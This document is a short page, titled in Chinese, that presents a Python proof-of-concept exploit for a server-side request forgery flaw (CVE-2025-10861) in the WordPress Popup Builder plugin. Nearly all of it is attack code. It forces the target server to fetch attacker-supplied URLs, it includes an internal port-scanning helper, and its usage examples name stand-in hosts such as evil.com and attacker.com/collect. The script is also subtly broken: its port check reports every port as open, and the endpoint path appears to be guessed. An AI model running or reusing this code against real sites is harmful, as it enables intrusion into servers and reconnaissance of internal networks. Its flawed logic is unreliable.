CVE-2025-10861: WordPress Popup Builder插件服务器端请求伪造漏洞

import requests import sys def exploit_ssrf(target_url, attacker_controlled_url): """ PoC for CVE-2025-10861 - SSRF in Popup Builder WordPress Plugin This exploits the insufficient URL validation in the plugin's FetchDemo endpoint. The vulnerable parameter allows attackers to make the server request arbitrary URLs. Usage: python exploit.py http://target-wordpress-site.com http://evil.com/malicious-endpoint Note: For authorized security testing only. """ # Vulnerable endpoint path (found in plugin code analysis) vulnerable_endpoint = "/wp-json/popup-builder/v1/fetch-demo" # Alternative vulnerable parameters params = { "url": attacker_controlled_url, # Attacker-controlled URL parameter # "action": "fetch_demo", # "demo_url": attacker_controlled_url, } try: print(f"[*] Target: {target_url}") print(f"[*] Attacker URL: {attacker_controlled_url}") # Send the malicious request response = requests.get( target_url + vulnerable_endpoint, params=params, timeout=10, allow_redirects=False ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def scan_internal_port(target_url, internal_host, port): """ Use SSRF to scan internal ports """ internal_url = f"http://{internal_host}:{port}" print(f"[*] Scanning {internal_host}:{port}") params = {"url": internal_url} try: response = requests.get( target_url + "/wp-json/popup-builder/v1/fetch-demo", params=params, timeout=5 ) if response.status_code != 0: print(f"[!] Port {port} is OPEN") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python exploit.py <target_url> <attacker_url>") print("Example: python exploit.py http://victim.com http://attacker.com/collect") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)